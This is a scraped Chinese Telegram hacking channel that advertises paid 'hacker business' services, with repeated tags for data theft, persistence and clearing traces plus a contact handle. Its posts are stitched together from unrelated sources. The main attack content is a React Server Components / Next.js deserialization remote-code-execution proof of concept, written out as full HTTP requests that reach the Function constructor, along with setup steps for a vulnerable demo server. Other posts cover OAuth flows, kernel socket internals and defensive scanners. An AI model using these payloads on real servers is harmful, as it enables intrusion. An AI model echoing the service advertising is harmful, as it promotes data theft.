黑客论坛 爬虫渗透劫持域名
1.12K subscribers
137 photos
1 video
1 file
39 links
Download Telegram
这里说的反序列化流程指的是服务端反序列化,也即 ReactFlight Reply 流程,即:

客户端(浏览器) → [序列化数据] → 服务端(Node.js) → [反序列化处理]

服务端反序列化处理的是客户端发送到服务端的数据,主要场景示例如下:

// 场景 1: Server Action 调用
<form action={serverAction}>
  <input name="username" />
</form>
// 场景 2: startTransition 中调用 Server Action
startTransition(() => {
  serverAction(complexData);
});
React Flight 的反序列化关键步骤示例如下:

HTTP 请求到达服务端,请求为 POST 方法,比如路径为 /action?id=abc123 ,内容类型为 multipart/form-data。
进入解码函数 decodeAction 或( decodeReply ),这是主入口。
通过 createServerReference 解析,验证 action ID 的签名,并解析绑定参数。
调用 parseReply 解析 formData,这是核心解析步骤。
使用 initializeModelChunk 初始化 chunk,其中通过 JSON.parse 解析 JSON,并使用 reviveModel 回调函数。
在 reviveModel 中,会调用 parseModelString 解析特殊值,比如以 开头的字符串,例如, $@, T, $B 等,这些代表不同的 React 序列化标记。
对于引用类型(如 $@),会通过 getOutlinedModel 从 chunk map 中获取值。
最终返回反序列化后的 JavaScript 对象。
#漏洞扫描  #跨站脚本 (XSS)  #SQL注入 
#缓冲区溢出  #RCE跨站请求伪造 
#黑客类业务 #靶场测试
#中间人攻击  #信息收集  #权限提升 
#横向移动  #持久化   #清除痕迹 
#数据窃取
技术联系:@BbuLluSsi
https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459

——WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name=”0″

{“then”:”$1:proto:then”,”status”:”resolvedmodel”,”reason”:-1,”value”:”{\”then\”:\”$B1337\”}”,”response”:{“prefix”:”恶意代码”,”formData”:{“get”:”$1:constructor:constructor”}}}
——WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name=”1″

“$@0″
——WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name=”2”

[]
——WebKitFormBoundaryx8jO2oVc6SWP3Sad–
#漏洞扫描  #跨站脚本 (XSS)  #SQL注入 
#缓冲区溢出  #RCE跨站请求伪造 
#黑客类业务 #靶场测试
#中间人攻击  #信息收集  #权限提升 
#横向移动  #持久化   #清除痕迹 
#数据窃取
技术联系:@BbuLluSsi
“name”: “nextjs-rsc-decode-demo”,
“version”: “1.0.0”,
“description”: “Demo for React Server Components decodeReply and decodeReplyFromBusboy”,
“type”: “commonjs”,
“scripts”: {
“dev”: “node –conditions react-server server.js”,
“start”: “node –conditions react-server server.js”
},
“dependencies”: {
“express”: “^4.18.2”,
“react”: “19.2.0”,
“react-dom”: “19.2.0”,
“react-server-dom-webpack”: “19.2.0”,
“busboy”: “^1.6.0”
},
“devDependencies”: {
“types/busboy”: “^1.5.0”
}
}

创建好两个文件后,直接 npm install ,然后 npm run dev 即可。POC 就可以简化为:
POST /api/decode-busboy HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 530

——WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name=”0″

{“then”:”$1:proto:then”,”status”:”resolvedmodel”,”reason”:0,”value”:”{\”then\”:\”$B\”}”,”response”:{“prefix”:”恶意代码”,”formData”:{“get”:”$1:constructor:constructor”}}}
——WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name=”1″

“$@abc”
——WebKitFormBoundaryx8jO2oVc6SWP3Sad–
#漏洞扫描  #跨站脚本 (XSS)  #SQL注入 
#缓冲区溢出  #RCE跨站请求伪造 
#黑客类业务 #靶场测试
#中间人攻击  #信息收集  #权限提升 
#横向移动  #持久化   #清除痕迹 
#数据窃取
技术联系:@BbuLluSsi
name=”0″: {
“then”: “$1:proto:then”,
“status”: “resolvedmodel”,
“reason”: 0,
“value”: “{\”then\”:\”$B\”}”,
“response”: {
“prefix”: “恶意代码”,
“formData”: {
“get”: “$1:constructor:constructor”
}
}
}

name=”1″: “$@abc”

开始跟踪数据栈的解析步骤:

步骤一:数据进入 resolveField
resolveField(response, “0”, ‘{“then”:”$1:proto:then”,…}’)

key = “0”
id = parseInt(“0”, 16) = 0

chunk = response.chunks.get(0); // undefined
chunk = createPendingChunk(response);
response.chunks.set(0, chunk);

resolveModelChunk(response, chunk[0], ‘{“then”:”$1:…”,…}’, 0)

步骤二:resolveModelChunk 设置状态
resolveModelChunk(response, chunk[0], value, 0)

chunk[0].status = RESOLVEDMODEL;
chunk[0].value = ‘{“then”:”$1:proto:then”,…}’; // 原始 JSON
chunk[0].reason = {id: 0, [RESPONSESYMBOL]: response};

// 没有 listeners,不会立即初始化
// 等待 getRoot() 调用
#漏洞扫描  #跨站脚本 (XSS)  #SQL注入 

技术联系:@BbuLluSsi
整个授权流程说明如下:

客户端携带 client_id, scope, redirect_uri, state 等信息引导用户请求授权服务器下发 access_token
授权服务器验证客户端身份,验证通过则询问用户是否同意授权(此时会跳转到用户能够直观看到的授权页面,等待用户点击确认授权)
假设用户同意授权,此时授权服务器会将 access_token 和 state(如果客户端传递了该参数)等信息以URI Fragment形式拼接在redirect_uri后面,并以302形式下发
客户端利用脚本解析获取 access_token
#漏洞扫描  #跨站脚本 (XSS)  #SQL注入 
#缓冲区溢出  #RCE跨站请求伪造 
#黑客类业务 #靶场测试
#中间人攻击  #信息收集  #权限提升 
#横向移动  #持久化   #清除痕迹 
#数据窃取
技术联系:@BbuLluSsi
授权码模式在整个授权流程上与 1.0 版本最贴近,但是整个流程还是要简化了许多,也是 OAuth2.0 中最标准,应用最广泛的授权模式。这类授权模式非常适合于具备服务端的应用,当然现在大多数 APP 都有自己的服务端,所以大部分 APP 的 OAuth 授权都可以采取授权码模式,下图为授权码各个角色之间的交互时序(这里让用户直接参与其中,省略了用户代理):
整个授权流程说明如下(具体参数释义见下文):

客户端携带 client_id, scope, redirect_uri, state 等信息引导用户请求授权服务器的授权端点下发 code
授权服务器验证客户端身份,验证通过则询问用户是否同意授权(此时会跳转到用户能够直观看到的授权页面,等待用户点击确认授权)
假设用户同意授权,此时授权服务器会将 code 和 state(如果客户端传递了该参数)拼接在 redirect_uri 后面,以302形式下发 code
客户端携带 code, redirect_uri, 以及 client_secret 请求授权服务器的令牌端点下发 access_token (这一步实际上中间经过了客户端的服务器,除了 code,其它参数都是在应用服务器端添加,下文会细讲)
授权服务器验证客户端身份,同时验证 code,以及 redirect_uri 是否与请求 code 时相同,验证通过后下发 access_token,并选择性下发 refresh_token
#漏洞扫描  #跨站脚本 (XSS)  #SQL注入 
#缓冲区溢出  #RCE跨站请求伪造 
#黑客类业务 #靶场测试
#中间人攻击  #信息收集  #权限提升 
#横向移动  #持久化   #清除痕迹 
#数据窃取
技术联系:@BbuLluSsi
这里可能有一个比较疑惑的地方是既然已经拿到了用户的登录凭证,为什么还需要绕一大圈子走 OAuth 授权,拿到令牌再去请求用户的受保护资源呢?实际中事情可能并不会这么简单,拿到用户登录凭证的不一定是用户本身,而且这里协议指的用户登录凭证是用户的用户名和密码,实际中还可以是走 SSO 登录下发的 token,token 在持有权限上要小于等于用户的用户名和密码,这是从客户端角度出发,对于资源服务器来说,有些敏感数据需要在用户级别做权限控制,对于服务级别的控制粒度太粗,所以这些服务往往需要服务携带 access_token 来请求某一个用户的敏感数据。

举个例子来说,比如有一个服务是获取某个用户的通讯录,这是一个十分敏感的数据,且一般只能授予内部应用,如果是在服务级别进行控制,那么只要拿到服务权限,该应用可以请求获取任何一个用户的通讯录数据,这是一件十分危险的事情。然而如果基于 access_token 来做鉴权,那么就可以将粒度控制在用户级别,前面讲的两种授权方式在这里应用时都有一个共同的缺点,需要弹出授权页让用户确认授权,要知道这样的场景往往是发生在内部应用里面,内部应用是可以持有用户登录态的,这里的确认授权对于一个用户体验好的APP来说就应该发生在用户登录时,通过用户协议等方式直接告诉用户,从而让用户在一次登录过程中可以让应用拿到用户的登录态和访问令牌。资源所有者密码凭证授权模式的交互时序如下:
#漏洞扫描  #跨站脚本 (XSS)  #SQL注入 
#缓冲区溢出  #RCE跨站请求伪造 
#黑客类业务 #靶场测试
#中间人攻击  #信息收集  #权限提升 
#横向移动  #持久化   #清除痕迹 
#数据窃取
技术联系:@BbuLluSsi
客户端凭证授权模式基于客户端持有的证书去请求用户的受保护资源,如果把这里的受保护资源定义得更加宽泛一点,比如说是对一个内网接口权限的调用,那么这类授权方式可以被改造为内网权限验证服务。客户端凭证授权模式的交互时序如下:



整个授权流程说明如下:

客户端携带客户端凭证和scope等信息请求授权服务器的令牌端点
授权服务器验证客户端凭证,验证通过下发 access_token
4.1、请求获取访问令牌:
请求参数说明:

名称 是否必须 描述信息
grant_type 必须 对于本模式 grant_type=client_credentials
scope 可选 权限范围,如果最终下发的访问令牌对应的权限范围与实际应用指定的不一致,则必须在下发访问令牌时用该参数指定说明
#漏洞扫描  #跨站脚本 (XSS)  #SQL注入 
#缓冲区溢出  #RCE跨站请求伪造 
#黑客类业务 #靶场测试
#中间人攻击  #信息收集  #权限提升 
#横向移动  #持久化   #清除痕迹 
#数据窃取
技术联系:@BbuLluSsi
// 遍历路径
for (let i = 1; i < 3; i++) {
// i = 1:
while (value instanceof ReactPromise) {
const referencedChunk = value; // chunk[2748]

switch (referencedChunk.status) {
case PENDING:
// 又遇到 PENDING chunk
// 再次等待
return waitForReference(
chunk[2748],
_formData,
“get”,
response,
createModel,
[“1”, “constructor”, “constructor”]
);
}
}
}

步骤十七:"$1:constructor:constructor" → 得到 Function 构造器

对于字段:get: "$1:constructor:constructor",会走到:
parseModelString(response, formData, “get”, “$1:constructor:constructor”, “0:response:_formData:get”)

// 默认分支:
const ref = “1:constructor:constructor”;
return getOutlinedModel(response, ref, _formData, “get”, createModel);
#漏洞扫描  #跨站脚本 (XSS)  #SQL注入 
#缓冲区溢出  #RCE跨站请求伪造 
#黑客类业务 #靶场测试
#中间人攻击  #信息收集  #权限提升 
#横向移动  #持久化   #清除痕迹 
#数据窃取
技术联系:@BbuLluSsi
bind 为创建的 socket 绑定IP地址/端口。(IP/PORT - TCP/UDP)。

bind 详细文档参考(文档 - 链接可能要翻墙)


/*
* sockfd:socket 文件描述符。
* myaddr:指向特定于协议的的地址结构的指针。。
* addrlen:struct sockaddr 地址结构长度。
* return:返回操作结果,若成功返回 0,否则返回 -1。
*/
#include <sys/socket.h>
int bind(int sockfd, const struct sockaddr *myaddr, socklen_t addrlen);
#漏洞扫描  #跨站脚本 (XSS)  #SQL注入 
#缓冲区溢出  #RCE跨站请求伪造 
#黑客类业务 #靶场测试
#中间人攻击  #信息收集  #权限提升 
#横向移动  #持久化   #清除痕迹 
#数据窃取
技术联系:@BbuLluSsi
哈希存储IP地址/端口相关数据结构信息。

哈希表时间复杂度是 O(1),非常快。

但是这里也有缺点,因为哈希表是由数组和链表的组合结构,自身有冲突链表(哈希链),而且 inet_bind_bucket 有 owners 链表,保存共享端口的 socket 数据。


tcp 连接三次握手成功后,在 accept 调用前, client 的 socket.sock 信息也会保存到 owners,参考 __inet_inherit_port 的使用。

查询数据时,可能需要遍历两个链表,而且在同一个网域下,以端口作为哈希索引,导致不同的 IP 地址相同端口的数据也会在同一个 inet_bind_bucket 里。所以 inet_bind_bucket 要使用 fastreuse 和 fastreuseport 去优化,尽量避免链表遍历。
#漏洞扫描  #跨站脚本 (XSS)  #SQL注入 
#缓冲区溢出  #RCE跨站请求伪造 
#黑客类业务 #靶场测试
#中间人攻击  #信息收集  #权限提升 
#横向移动  #持久化   #清除痕迹 
#数据窃取
技术联系:@BbuLluSsi
inet_bind(struct socket * sock, struct sockaddr * uaddr, int addr_len) (/root/linux-5.0.1/net/ipv4/af_inet.c:436)
__sys_bind(int fd, struct sockaddr * umyaddr, int addrlen) (/root/linux-5.0.1/net/socket.c:1482)
__do_sys_bind() (/root/linux-5.0.1/net/socket.c:1493)
__se_sys_bind() (/root/linux-5.0.1/net/socket.c:1491)
__x64_sys_bind(const struct pt_regs * regs) (/root/linux-5.0.1/net/socket.c:1491)
do_syscall_64(unsigned long nr, struct pt_regs * regs) (/root/linux-5.0.1/arch/x86/entry/common.c:290)
entry_SYSCALL_64() (/root/linux-5.0.1/arch/x86/entry/entry_64.S:175)
#漏洞扫描  #跨站脚本 (XSS)  #SQL注入 
#缓冲区溢出  #RCE跨站请求伪造 
#黑客类业务 #靶场测试
#中间人攻击  #信息收集  #权限提升 
#横向移动  #持久化   #清除痕迹 
#数据窃取
技术联系:@BbuLluSsi
(可选) 扫描时间可能会很长,如果你想让程序扫描结束的时候通过微信发送一条提醒的话,你需要按照 wxpusher 的指示来获取你的专属 UID 和 APP_TOKEN,并将其写入 run_ingram.py:
# wechat
config.set_val('WXUID', '这里写uid')
config.set_val('WXTOKEN', '这里写token')
支持中断恢复,不过由于考虑到性能,并不会实时记录当前运行状态,而是间隔一定时间,所以并不能准确恢复到上次的运行状态。(这里做的比较粗糙,下个版本调整)
#漏洞扫描  #跨站脚本 (XSS)  #SQL注入 
#缓冲区溢出  #RCE跨站请求伪造 
#黑客类业务 #靶场测试
#中间人攻击  #信息收集  #权限提升 
#横向移动  #持久化   #清除痕迹 
#数据窃取
技术联系:@BbuLluSsi
Zed Attack Proxy (ZAP)是一款用户友好的渗透测试工具,能找出网络应用中的漏洞。它不仅提供自动化扫描器,也为想要手动查找漏洞的用户提供了一套工具。ZAP通常预装在Kali Linux上,它能够将自身置于测试人员的浏览器和Web应用程序之间,拦截请求以充当"代理"。通过修改内容、转发数据包和模拟其他用户行为,ZAP也可以对应用程序进行漏洞扫描测试。
ㆍ可执行常见的动态应用程序安全测试 (DAST),特别是针对跨站点脚本 (XSS) 漏洞,还能够执行一些新型的测试工作,例如模糊测试;

ㆍ可提供 API 和 docker 集成以实现快速部署,并与 DevSecOp 工具集成,实现对开发团队的自动化工单管理;

ㆍ通过Crash Override开源奖学金的支持,ZAP拥有多名全职开发人员,不再与OWASP有关联;

ㆍ经常被渗透测试人员使用,可以很好地了解黑客可能发现的漏洞。

不足

ㆍ某些扫描功能需要额外的插件

ㆍ需要一些专业知识才能使用

ㆍ相比其他工具,误报率较高
#漏洞扫描  #跨站脚本 (XSS)  #SQL注入 
#缓冲区溢出  #RCE跨站请求伪造 
#黑客类业务 #靶场测试
#中间人攻击  #信息收集  #权限提升 
#横向移动  #持久化   #清除痕迹 
#数据窃取
技术联系:@BbuLluSsi
CloudSploit是一款开源的云基础设施扫描引擎,目前被Aqua公司收购并继续对其进行维护,以使用户能够下载、修改并享受这个专业工具的好处。CloudSploit可以根据用户需求进行扫描,也可以配置为持续运行,并向安全和DevOps团队发送漏洞警报。该工具不仅检查已知的云和容器部署漏洞,还能够检查常见的配置错误问题。

主要特点

ㆍ可持续扫描AWS、Azure、Google Cloud、Oracle Cloud等环境,以便对云基础设施的更改进行警报。

ㆍ通过安全人员常用的工具(如Slack、Splunk、OpsGenie、Amazon SNS等)发送实时警报和结果。

ㆍ可从命令行、脚本或构建系统(Jenkins、CircleCL、AWS CodeBuild 等)调用 API。

ㆍ提供了广泛的云支持,包括针对主要公共云平台(阿里云、AWS、Azure、Google Cloud 等)的插件严重程度。

不足

ㆍ某些功能需要付费使用

ㆍ必须与其他安全工具一起使用

ㆍ专注于公有云基础设施安全性
#漏洞扫描  #跨站脚本 (XSS)  #SQL注入 
#缓冲区溢出  #RCE跨站请求伪造 
#黑客类业务 #靶场测试
#中间人攻击  #信息收集  #权限提升 
#横向移动  #持久化   #清除痕迹 
#数据窃取
技术联系:@BbuLluSsi
OSV-Scanner是一款由谷歌公司开发的开源漏洞扫描工具,提供专门的软件组成分析(SCA),可用于扫描静态软件,以确保开源软件的编程代码安全漏洞,并保护开源软件清单(SBOM)。在扫描项目时,OSV-Scanner 首先通过分析清单、软件材料清单(SBOM)和代码提交哈希值来确定正在使用的所有依赖项。这些信息用于查询 OSV 数据库,并报告与项目相关的漏洞。漏洞通过表格的形式或基于 JSON 的 OSV 格式(可选)进行报告。

主要特点

ㆍ能够定期扩展支持的编程语言列表,包括C/C++、Dart、Elixir、Go、Java、JavaScript、PHP、Python、R、Ruby和Rust。

ㆍ可以从大量信息源中获取漏洞,包括Debian、Linux、Maven、npm、NuGet、OSS-Fuzz、Packagist、PyPl和RubyGems。

ㆍ允许API、可脚本化和与GitHub集成的调用,以实现漏洞扫描自动化。

ㆍ使用JSON存储有关受影响版本的信息,以便与开发人员工具包进行集成。

ㆍ检查目录、软件清单(SBOM)、锁定文件、基于Debian的Docker镜像或在Docker容器中运行的软件。
#漏洞扫描  #跨站脚本 (XSS)  #SQL注入 
#缓冲区溢出  #RCE跨站请求伪造 
#黑客类业务 #靶场测试
#中间人攻击  #信息收集  #权限提升 
#横向移动  #持久化   #清除痕迹 
#数据窃取
技术联系:@BbuLluSsi
WebShellkiller作为一款web后门专杀工具,不仅支持webshell的扫描,同时还支持暗链的扫描。这是一款融合了多重检测引擎的查杀工具。在传统正则匹配的基础上,采用模拟执行,参数动态分析监测技术、webshell语义分析技术、暗链隐藏特征分析技术,并根据webshell的行为模式构建了基于机器学习的智能检测模型。传统技术与人工智能技术相结合、静态扫描和动态分析相结合,更精准地检测出WEB网站已知和未知的后门文件。
linux平台
# 下载WebShellkiller
wget http://edr.sangfor.com.cn/tool/WebShellKillerForLinux.tar.gz

# 解压到当前目录
tar -zxvf WebShellKillerForLinux.tar.gz
# 查看解压结果,可以看到多出centos_32、centos_64、linux_64三个文件夹
# 查看当前系统版本
cat /etc/system-release && uname -m

# 进入centos_64
cd centos_64/wscan_app/

# wscan 默认没有可执行权限
chmod u+x wscan

# wscan从LD_LIBRARY_PATH加载so文件,需要将当前路径加到LD_LIBRARY_PATH以使wscan能找到当前目录下的so
export LD_LIBRARY_PATH=pwd:$LD_LIBRARY_PATH

# 执行扫描
./wscan -hrf ../../webshell/jsp
#漏洞扫描  #跨站脚本 (XSS)  #SQL注入 
#缓冲区溢出  #RCE跨站请求伪造 
#黑客类业务 #靶场测试
#中间人攻击  #信息收集  #权限提升 
#横向移动  #持久化   #清除痕迹 
#数据窃取
技术联系:@BbuLluSsi
CloudWalker(牧云)是长亭推出的一款开源服务器安全管理平台。根据项目计划会逐步覆盖服务器资产管理、威胁扫描、Webshell 查杀、基线检测等各项功能。

本次开源作为开源计划的第一步,仅包含 Webshell 检测引擎部分,重点调优 Webshell 检测效果。目前放出的是一个可执行的命令行版本 Webshell 检测工具
Yum安装clamav
yum install epel-release
yum -y install clamav clamav-milter

# 更新病毒库
freshclam

# 进行扫描
clamscan -r -l scan.log /var/www/webshell
-r 表示递归扫描子目录
-l 增加扫描报告
move [路径] 表示移动病毒文件到指定的路径
remove [路径] 表示扫描到病毒文件后自动删除病毒文件
#漏洞扫描  #跨站脚本 (XSS)  #SQL注入 
#缓冲区溢出  #RCE跨站请求伪造 
#黑客类业务 #靶场测试
#中间人攻击  #信息收集  #权限提升 
#横向移动  #持久化   #清除痕迹 
#数据窃取
技术联系:@BbuLluSsi